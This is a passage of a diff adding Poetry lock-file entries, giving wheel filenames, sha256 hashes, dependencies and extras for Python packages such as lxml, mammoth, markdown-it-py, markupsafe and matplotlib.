"lxml-6.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:219e0431ea8006e15005767f0351e3f7f9143e793e58519dc97fe9e07fae5563"}, + {file = "lxml-6.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bd5913b4972681ffc9718bc2d4c53cde39ef81415e1671ff93e9aa30b46595e7"}, + {file = "lxml-6.0.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:390240baeb9f415a82eefc2e13285016f9c8b5ad71ec80574ae8fa9605093cd7"}, + {file = "lxml-6.0.0-cp312-cp312-manylinux_2_27_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d6e200909a119626744dd81bae409fc44134389e03fbf1d68ed2a55a2fb10991"}, + {file = "lxml-6.0.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ca50bd612438258a91b5b3788c6621c1f05c8c478e7951899f492be42defc0da"}, + {file = "lxml-6.0.0-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:c24b8efd9c0f62bad0439283c2c795ef916c5a6b75f03c17799775c7ae3c0c9e"}, + {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:afd27d8629ae94c5d863e32ab0e1d5590371d296b87dae0a751fb22bf3685741"}, + {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:54c4855eabd9fc29707d30141be99e5cd1102e7d2258d2892314cf4c110726c3"}, + {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c907516d49f77f6cd8ead1322198bdfd902003c3c330c77a1c5f3cc32a0e4d16"}, + {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:36531f81c8214e293097cd2b7873f178997dae33d3667caaae8bdfb9666b76c0"}, + {file = "lxml-6.0.0-cp312-cp312-win32.whl", hash = "sha256:690b20e3388a7ec98e899fd54c924e50ba6693874aa65ef9cb53de7f7de9d64a"}, + {file = "lxml-6.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:310b719b695b3dd442cdfbbe64936b2f2e231bb91d998e99e6f0daf991a3eba3"}, + {file = "lxml-6.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:8cb26f51c82d77483cdcd2b4a53cda55bbee29b3c2f3ddeb47182a2a9064e4eb"}, + {file = "lxml-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:6da7cd4f405fd7db56e51e96bff0865b9853ae70df0e6720624049da76bde2da"}, + {file = "lxml-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b34339898bb556a2351a1830f88f751679f343eabf9cf05841c95b165152c9e7"}, + {file = "lxml-6.0.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:51a5e4c61a4541bd1cd3ba74766d0c9b6c12d6a1a4964ef60026832aac8e79b3"}, + {file = "lxml-6.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d18a25b19ca7307045581b18b3ec9ead2b1db5ccd8719c291f0cd0a5cec6cb81"}, + {file = "lxml-6.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d4f0c66df4386b75d2ab1e20a489f30dc7fd9a06a896d64980541506086be1f1"}, + {file = "lxml-6.0.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9f4b481b6cc3a897adb4279216695150bbe7a44c03daba3c894f49d2037e0a24"}, + {file = "lxml-6.0.0-cp313-cp313-manylinux_2_27_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8a78d6c9168f5bcb20971bf3329c2b83078611fbe1f807baadc64afc70523b3a"}, + {file = "lxml-6.0.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ae06fbab4f1bb7db4f7c8ca9897dc8db4447d1a2b9bee78474ad403437bcc29"}, + {file = "lxml-6.0.0-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:1fa377b827ca2023244a06554c6e7dc6828a10aaf74ca41965c5d8a4925aebb4"}, + {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1676b56d48048a62ef77a250428d1f31f610763636e0784ba67a9740823988ca"}, + {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:0e32698462aacc5c1cf6bdfebc9c781821b7e74c79f13e5ffc8bfe27c42b1abf"}, + {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4d6036c3a296707357efb375cfc24bb64cd955b9ec731abf11ebb1e40063949f"}, + {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7488a43033c958637b1a08cddc9188eb06d3ad36582cebc7d4815980b47e27ef"}, + {file = "lxml-6.0.0-cp313-cp313-win32.whl", hash = "sha256:5fcd7d3b1d8ecb91445bd71b9c88bdbeae528fefee4f379895becfc72298d181"}, + {file = "lxml-6.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:2f34687222b78fff795feeb799a7d44eca2477c3d9d3a46ce17d51a4f383e32e"}, + {file = "lxml-6.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:21db1ec5525780fd07251636eb5f7acb84003e9382c72c18c542a87c416ade03"}, + {file = "lxml-6.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:4eb114a0754fd00075c12648d991ec7a4357f9cb873042cc9a77bf3a7e30c9db"}, + {file = "lxml-6.0.0-cp38-cp38-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:7da298e1659e45d151b4028ad5c7974917e108afb48731f4ed785d02b6818994"}, + {file = "lxml-6.0.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7bf61bc4345c1895221357af8f3e89f8c103d93156ef326532d35c707e2fb19d"}, + {file = "lxml-6.0.0-cp38-cp38-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63b634facdfbad421d4b61c90735688465d4ab3a8853ac22c76ccac2baf98d97"}, + {file = "lxml-6.0.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:e380e85b93f148ad28ac15f8117e2fd8e5437aa7732d65e260134f83ce67911b"}, + {file = "lxml-6.0.0-cp38-cp38-win32.whl", hash = "sha256:185efc2fed89cdd97552585c624d3c908f0464090f4b91f7d92f8ed2f3b18f54"}, + {file = "lxml-6.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:f97487996a39cb18278ca33f7be98198f278d0bc3c5d0fd4d7b3d63646ca3c8a"}, + {file = "lxml-6.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:85b14a4689d5cff426c12eefe750738648706ea2753b20c2f973b2a000d3d261"}, + {file = "lxml-6.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f64ccf593916e93b8d36ed55401bb7fe9c7d5de3180ce2e10b08f82a8f397316"}, + {file = "lxml-6.0.0-cp39-cp39-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:b372d10d17a701b0945f67be58fae4664fd056b85e0ff0fbc1e6c951cdbc0512"}, + {file = "lxml-6.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a674c0948789e9136d69065cc28009c1b1874c6ea340253db58be7622ce6398f"}, + {file = "lxml-6.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:edf6e4c8fe14dfe316939711e3ece3f9a20760aabf686051b537a7562f4da91a"}, + {file = "lxml-6.0.0-cp39-cp39-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:048a930eb4572829604982e39a0c7289ab5dc8abc7fc9f5aabd6fbc08c154e93"}, + {file = "lxml-6.0.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0b5fa5eda84057a4f1bbb4bb77a8c28ff20ae7ce211588d698ae453e13c6281"}, + {file = "lxml-6.0.0-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:c352fc8f36f7e9727db17adbf93f82499457b3d7e5511368569b4c5bd155a922"}, + {file = "lxml-6.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8db5dc617cb937ae17ff3403c3a70a7de9df4852a046f93e71edaec678f721d0"}, + {file = "lxml-6.0.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:2181e4b1d07dde53986023482673c0f1fba5178ef800f9ab95ad791e8bdded6a"}, + {file = "lxml-6.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b3c98d5b24c6095e89e03d65d5c574705be3d49c0d8ca10c17a8a4b5201b72f5"}, + {file = "lxml-6.0.0-cp39-cp39-win32.whl", hash = "sha256:04d67ceee6db4bcb92987ccb16e53bef6b42ced872509f333c04fb58a3315256"}, + {file = "lxml-6.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:e0b1520ef900e9ef62e392dd3d7ae4f5fa224d1dd62897a792cf353eb20b6cae"}, + {file = "lxml-6.0.0-cp39-cp39-win_arm64.whl", hash = "sha256:e35e8aaaf3981489f42884b59726693de32dabfc438ac10ef4eb3409961fd402"}, + {file = "lxml-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:dbdd7679a6f4f08152818043dbb39491d1af3332128b3752c3ec5cebc0011a72"}, + {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:40442e2a4456e9910875ac12951476d36c0870dcb38a68719f8c4686609897c4"}, + {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db0efd6bae1c4730b9c863fc4f5f3c0fa3e8f05cae2c44ae141cb9dfc7d091dc"}, + {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9ab542c91f5a47aaa58abdd8ea84b498e8e49fe4b883d67800017757a3eb78e8"}, + {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:013090383863b72c62a702d07678b658fa2567aa58d373d963cca245b017e065"}, + {file = "lxml-6.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c86df1c9af35d903d2b52d22ea3e66db8058d21dc0f59842ca5deb0595921141"}, + {file = "lxml-6.0.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:4337e4aec93b7c011f7ee2e357b0d30562edd1955620fdd4aeab6aacd90d43c5"}, + {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ae74f7c762270196d2dda56f8dd7309411f08a4084ff2dfcc0b095a218df2e06"}, + {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:059c4cbf3973a621b62ea3132934ae737da2c132a788e6cfb9b08d63a0ef73f9"}, + {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f090a9bc0ce8da51a5632092f98a7e7f84bca26f33d161a98b57f7fb0004ca"}, + {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9da022c14baeec36edfcc8daf0e281e2f55b950249a455776f0d1adeeada4734"}, + {file = "lxml-6.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a55da151d0b0c6ab176b4e761670ac0e2667817a1e0dadd04a01d0561a219349"}, + {file = "lxml-6.0.0.tar.gz", hash = "sha256:032e65120339d44cdc3efc326c9f660f5f7205f3a535c1fdbf898b29ea01fb72"}, +] + +[package.extras] +cssselect = ["cssselect (>=0.7)"] +html-clean = ["lxml_html_clean"] +html5 = ["html5lib"] +htmlsoup = ["BeautifulSoup4"] + +[[package]] +name = "mammoth" +version = "1.10.0" +description = "Convert Word documents from docx to simple and clean HTML and Markdown" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "mammoth-1.10.0-py2.py3-none-any.whl", hash = "sha256:a1c87d5b98ca30230394267f98614b58b14b50f8031dc33ac9a535c6ab04eb99"}, + {file = "mammoth-1.10.0.tar.gz", hash = "sha256:cb6fbba41ccf8b5502859c457177d87a833fef0e0b1d4e6fd23ec372fe892c30"}, +] + +[package.dependencies] +cobble = ">=0.1.3,<0.2" + +[[package]] +name = "markdown-it-py" +version = "3.0.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, + {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, +] + +[package.dependencies] +linkify-it-py = {version = ">=1,<3", optional = true, markers = "extra == \"linkify\""} +mdit-py-plugins = {version = "*", optional = true, markers = "extra == \"plugins\""} +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +code-style = ["pre-commit (>=3.0,<4.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins"] +profiling = ["gprof2dot"] +rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "markdownify" +version = "1.1.0" +description = "Convert HTML to markdown." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "markdownify-1.1.0-py3-none-any.whl", hash = "sha256:32a5a08e9af02c8a6528942224c91b933b4bd2c7d078f9012943776fc313eeef"}, + {file = "markdownify-1.1.0.tar.gz", hash = "sha256:449c0bbbf1401c5112379619524f33b63490a8fa479456d41de9dc9e37560ebd"}, +] + +[package.dependencies] +beautifulsoup4 = ">=4.9,<5" +six = ">=1.15,<2" + +[[package]] +name = "markupsafe" +version = "3.0.2" +description = "Safely add untrusted strings to HTML/XML markup." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, + {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, +] + +[[package]] +name = "matplotlib" +version = "3.10.5" +description = "Python plotting package" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "matplotlib-3.10.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:5d4773a6d1c106ca05cb5a5515d277a6bb96ed09e5c8fab6b7741b8fcaa62c8f"}, + {file = "matplotlib-3.10.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dc88af74e7ba27de6cbe6faee916024ea35d895ed3d61ef6f58c4ce97da7185a"}, + {file = "matplotlib-3.10.5-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:64c4535419d5617f7363dad171a5a59963308e0f3f813c4bed6c9e6e2c131512"}, + {file = "matplotlib-3.10.5-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a277033048ab22d34f88a3c5243938cef776493f6201a8742ed5f8b553201343"}, + {file = "matplotlib-3.10.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e4a6470a118a2e93022ecc7d3bd16b3114b2004ea2bf014fff875b3bc99b70c6"}, + {file = "matplotlib-3.10.5-cp310-cp310-win_amd64.whl", hash = "sha256:7e44cada61bec8833c106547786814dd4a266c1b2964fd25daa3804f1b8d4467"}, + {file = "matplotlib-3.10.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:dcfc39c452c6a9f9028d3e44d2d721484f665304857188124b505b2c95e1eecf"}, + {file = "matplotlib-3.10.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:903352681b59f3efbf4546985142a9686ea1d616bb054b09a537a06e4b892ccf"}, + {file = "matplotlib-3.10.5-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:080c3676a56b8ee1c762bcf8fca3fe709daa1ee23e6ef06ad9f3fc17332f2d2a"}, + {file = "matplotlib-3.10.5-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4b4984d5064a35b6f66d2c11d668565f4389b1119cc64db7a4c1725bc11adffc"}, + {file = "matplotlib-3.10.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3967424121d3a46705c9fa9bdb0931de3228f13f73d7bb03c999c88343a89d89"}, + {file = "matplotlib-3.10.5-cp311-cp311-win_amd64.whl", hash = "sha256:33775bbeb75528555a15ac29396940128ef5613cf9a2d31fb1bfd18b3c0c0903"}, + {file = "matplotlib-3.10.5-cp311-cp311-win_arm64.whl", hash = "sha256:c61333a8e5e6240e73769d5826b9a31d8b22df76c0778f8480baf1b4b01c9420"}, + {file = 